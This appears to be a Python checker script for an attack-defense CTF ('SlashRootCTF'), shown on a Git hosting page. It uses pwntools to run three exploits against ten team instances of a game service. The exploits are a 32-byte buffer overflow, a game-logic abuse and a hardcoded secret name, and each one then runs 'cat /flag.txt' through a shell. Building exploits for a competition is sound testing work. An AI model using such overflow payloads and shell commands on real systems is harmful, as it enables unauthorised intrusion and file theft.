選択できるのは25トピックまでです。 トピックは、先頭が英数字で、英数字とダッシュ('-')を使用した35文字以内のものにしてください。

149 行
4.0 KiB

5年前
5年前
5年前
5年前
5年前
5年前
5年前
5年前
5年前
5年前
5年前
5年前
5年前
5年前
5年前
5年前
5年前
5年前
5年前
5年前
5年前
5年前
5年前
5年前
5年前
5年前
5年前
5年前
5年前
5年前
  1. #! /usr/bin/env python3
  2. # from pwn import context, remote
  3. from pwn import remote, context
  4. from multiprocessing import Pool
  5. from time import sleep
  6. import logging
  7. import os
  8. context.log_level = logging.ERROR
  9. INTERVAL = 60
  10. HOST = "192.168.2.20"
  11. TOTAL_TEAMS = 10
  12. FORMAT = "SlashRootCTF"
  13. def poc0(host, port):
  14. with remote(host, port) as p:
  15. p.recvuntil(">")
  16. p.sendline(("A" * 32) + ("\x11\x11\x11\x11\x11\x11\x11\x11\x01"))
  17. msg = p.recvuntil(">").decode('utf-8')
  18. # print(msg)
  19. if "young" in msg:
  20. p.sendline("y")
  21. p.recvuntil(">")
  22. p.sendline("2")
  23. p.recvuntil(">")
  24. p.sendline("4")
  25. p.recvuntil(">")
  26. p.sendline("y")
  27. for _ in range(10):
  28. p.recvuntil(">")
  29. p.sendline("99")
  30. p.sendline("cat /flag.txt")
  31. flag = p.recvuntil("}").decode('utf-8')
  32. # print flag
  33. if FORMAT in flag:
  34. return True
  35. else:
  36. return False
  37. else:
  38. return False
  39. def poc1(host, port):
  40. with remote(host, port) as p:
  41. p.recvuntil(">")
  42. p.sendline("Leo")
  43. p.recvuntil(">")
  44. p.sendline("y")
  45. for _ in range(2):
  46. p.recvuntil(">")
  47. p.sendline("3")
  48. p.recvuntil(">")
  49. p.sendline("0")
  50. if "Who" in p.recvuntil(">").decode('utf-8'):
  51. return False
  52. p.sendline("y")
  53. p.recvuntil(">")
  54. p.sendline("1")
  55. p.recvuntil(">")
  56. p.sendline("4")
  57. p.recvuntil(">")
  58. p.sendline("y")
  59. for _ in range(10):
  60. p.recvuntil(">")
  61. p.sendline("99")
  62. p.sendline("cat /flag.txt")
  63. flag = p.recvuntil("}").decode('utf-8')
  64. if FORMAT in flag:
  65. return True
  66. else:
  67. return False
  68. def poc2(host, port):
  69. with remote(host, port) as p:
  70. p.recvuntil(">")
  71. p.sendline("__th3_w0rLd_D3str0Y3r_15_b4ck__")
  72. p.recvuntil(">")
  73. p.sendline("y")
  74. p.recvuntil(">")
  75. p.sendline("6")
  76. if "Lv: 1000000" in p.recvuntil(">").decode('utf-8'):
  77. p.sendline("2")
  78. p.recvuntil(">")
  79. p.sendline("4")
  80. p.recvuntil(">")
  81. p.sendline("y")
  82. for _ in range(10):
  83. p.recvuntil(">")
  84. p.sendline("99")
  85. p.sendline("cat /flag.txt")
  86. flag = p.recvuntil("}").decode('utf-8')
  87. if FORMAT in flag:
  88. return True
  89. else:
  90. return False
  91. else:
  92. return False
  93. def poc(host, port):
  94. with remote(host, port) as p:
  95. msg = p.recvuntil(">").decode('utf-8')
  96. if "Who" in msg:
  97. p.sendline("Leo")
  98. msg = p.recvuntil(">").decode('utf-8')
  99. if "Leo" in msg:
  100. p.sendline("Y")
  101. msg = p.recvuntil(">").decode('utf-8')
  102. if "What" in msg:
  103. return True
  104. return False
  105. def check(team):
  106. port = (60004 + (team*100))
  107. r = poc(HOST, port)
  108. r0 = poc0(HOST, port)
  109. r1 = poc1(HOST, port)
  110. r2 = poc2(HOST, port)
  111. return "Team [{:02d}] {} {} {} {}".format(team, r, r0, r1, r2)
  112. def init_logging(logFileName: str, debug: bool = False):
  113. logFormatter = logging.Formatter(
  114. fmt="[%(asctime)s][%(levelname)s] %(message)s",
  115. datefmt='%d-%b-%y %H:%M:%S')
  116. rootLogger = logging.getLogger("checker")
  117. consoleHandler = logging.StreamHandler()
  118. consoleHandler.setFormatter(logFormatter)
  119. rootLogger.addHandler(consoleHandler)
  120. rootLogger.setLevel(logging.DEBUG if debug else logging.INFO)
  121. return rootLogger
  122. if __name__ == "__main__":
  123. checker_logger = init_logging("checker.log")
  124. while True:
  125. with Pool(TOTAL_TEAMS) as p:
  126. results = p.map(check, range(1, TOTAL_TEAMS+1))
  127. for result in results:
  128. checker_logger.info(result)
  129. sleep(INTERVAL)